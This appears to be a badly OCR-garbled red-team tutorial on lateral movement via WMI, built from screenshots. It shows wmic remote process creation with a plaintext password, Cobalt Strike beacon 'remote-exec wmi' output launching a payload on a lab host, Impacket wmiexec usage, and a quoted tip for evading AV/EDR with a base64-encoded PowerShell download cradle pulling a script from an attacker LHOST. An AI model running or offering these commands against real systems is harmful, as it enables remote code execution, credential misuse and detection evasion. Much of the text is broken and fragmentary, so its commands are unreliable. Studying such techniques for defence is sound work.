WMI

WMIC (Windows [TIT])) 1] Windows [TTTTITITITIIT] Windows [TTITITITITTIIITITIIT] VBScript [J PowerSl

WMI

StandardCimv2 []]

WMI [TRPOtNCTM VI TWIhBZ] Ao ci@$STTTTITTTTITITTMA WS TTTTTTIN e PPPiosaEssI (1 [T TTTTTTTT1T]
Terminate [TTTITIIIIIT

MiiB2_Process [Ondatg [TTTTTTTT1T] PowerShell [ITTTT] WMI[
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Get-WmiObject -Class " Namespace" -Namespace "Root" -List -Recurse 2> $null | select

__Namespace | sort _ Namespace

Get-WmiObject 2> select _ Namespac

[Fpot\cimv?2 [TTITIT]

Get-WmiObject -Class " Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select

__Namespace | sort _ Namespace
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Get-WmiObject
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[Wih32_process [FOd¥dimM 21T ]

Get-WmiObject -Recurse -List -class win32 process*

NameSpace: ROOT

ParentPro
mmandLin
essWidth, Arch

oA
wownmon

WMI [T SQL T

Get-WmiObject -Query 'Select * From Meta Class WHERE _ Class Like "win32 process%"

Get-WmiObject

Methods Properties

sID
sID,
551D

[(Win32_process [[[TITTTT1T]

Get- WmiObject -Class win32 process | select Name, ProcessId, CommandLine
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PS C:\Windows\system32> Get-WmiObject

\ame
ProcessId

\ame
ProcessId

\ame
ProcessId

\ame
ProcessId

\ame
ProcessId

\ame
ProcessId

\ame
ProcessId

Win32 process

: System Idle Process
H
ommandLine :

i System
H:
ommandLine :

: Registry
: 6B
ommandLine :

I SMSs.exe
: 496
ommandLine :

: CSPrss.exe
: 592
ommandLine :

: CSPrss.exe
. 660
ommandLine :

: wininit.exe
. 668
ommandLine :

select Mame

ProcessId,CommandLine

fl

(I Win32_process [T] Create [TTTTITTIT]

$process=[ wmiclass]"win32 process"

$process. Create("calc. exe", $null, $null)

PS C:\Windows\system32>
PS C:\Windows\system32>

[wmiclass]

.methods select Name

o Caleul.. —

Edit Help

View

PS C:\Windows\system32>» .Create(

GENUS : 2
CLASS : _ PARAMETERS
SUPERCLASS
DYNASTY
RELPATH :
PROPERTY_COUNT : 2
DERIVATION : {1
SERVER :
NAMESPACE

: _ PARAMETERS

PSComputeriName
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wmic.exe
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Se
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RIEF|FULL>]

Spec
Sets

For more information on a

The following alias/es ar
ALIAS

BASEBOARD

BIOS

BOOTCONFIG

CDROM
COMPUTERS
CPU
CSPRODUCT
DATAFILE

'STEM

Enable or disable all privilege
Outputs debugg
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specific global swi
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to be used during the session.

rd to be used for session logi

ies the mode for output
es the mode for output

resets

all input

or
or the connection.

type: switch-name /?
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CommandLine

wininit.exe
winlogon.exe

exe
host.
host.
host.
host.
host.exe
host.exe
host.exe
chost.exe

OO T T

wmic /node: <[TP> /user: <[IIP /password: <[T»> process call create "<[Tp"

beacon> run wmic /node:l 3 fuser:prod\servermgr /pas rd: Summe r2 ! process call create “calc.exe"

[*] Tasked beacon to run: wmic /node:172,16.1.13 fuser:prod\servermgr /password:Summer2024! process call create "calc.exe"

[+] host called home, sent: 126 bytes

[+] received output

Executing (Win32_Process)->Create()

Method execution successful.

Out Parameters:

instance of _ PARAMETERS

{
ProcessId = 3052;
ReturnValue = 0;

}:

»powershell get-proce findstr paint

259 - 8 23784 .26 4596 @ mspaint
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beacon> run wmic /node:172,16.1.13 fuser:prod\servermgr /password:Summer2024! process call create “C:\tools\student_dler.exe"

[*] Tasked beacon to run: wmic /node:1 6.1.13 fuser:prod\servermgr fpassword:Summer2024! process call create "C:\tools\student_dler.exe"
[+]1 host called home, sent: 143 bytes

[+] received output

Executing (Win32_Process)->Create()

Method execution successful.

Out Parameters:

instance of _ PARAMETERS

{
Processld = 404;
ReturnValue = 0;

C2

remote-exec wmi
[TIIT10 jumpemotéfeédec wmi[remote-exec pid¢eEd icall create [TTTTT1T]

beacon> jump

Beacon Remote Exploits

Exploit Description

psexec Use a service to run a Service EXE artifact
psexect4 Use a service to run a Service EXE artifact
psexec_psh Use a service to run a PowerShell one-liner
winrm Run a PowerShell script via WinRM
winrm64 i Run a PowerShell script via WinRM

beacon> remote-exec

Beacon Remote Execute Methods

Methods Description

psexec Remote execute via Service C
winmm emote execute via WinRM (PowerShell)
wmi emote execute via WMI

ITITIIIIITIIIIIITIT] remote-exec [111]

beacon> remote-exec wmi 172.16.1.13 C:\tools‘\student dler.exe
[*] Tasked beacon to run 'C:\tools\student dler.exe' on 172.16.1.13 via WMI

[+] host called home, sent: 4424 bytes
[+] received output
Started process 3096 on 172.16.1.13

-
[WEBOZ] serveradm */1460 (x64)

beacon>|
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Impacket
Impacket [T] wmiexed TTTSHEM TTTTT1T]

~/Desktop
1mpacket/examples!wmlexec py prd raven-med.local/servermgr: 'Summer2@2! @ml72.16.

1ins] p1¢131d1ng
1ins] DLL init:
1ins] DLL init: pro
t vD.10.1.devl+2 16.181610.efcaec35 - Copyright 2822 Fortra

127.0.0.1:1080 ... 172.16.1.13:445

[ wmiexec [T o COTTTTIITITTIITTTTIT

sn@vvcr3gsh

@snovvcrash

1.13

[HackTip %41 1t’s no secret that wmiexec[.]py from #impacket is flagged

by many AV/EDR software when it requests command output.
Combination of -silentcommand & -nooutput flags and Invoke-

WmiCommand can help you to bypass protection and spawn a shellin a

-

separate process 2

n 'Set-Content -Value PWNED -Path C:\pwn.txt' > cradle.psl

wmiexec.py -silentcommanc coutput administrator:'Passwlrd!'@< > "powershell

$({echo -n 'I miMethoc Process -Name Crea ArgumentList (' rshell

enc

=2MNcC

'“echo -n 'IEX(New-Object Net.WebClient).DownloadString( "ht ff=LHOST>/cradle.psl” )}’

iconv -t UTF-16LE | base64 -wb '")' | iconv -t UTF-16LE | basetd4 -w@)

XiaoLi [TTT] wmiexédtig$(//github.com/XiaoliChan/wmiexec-RegOut) [TTTTTITTTIITTITITII
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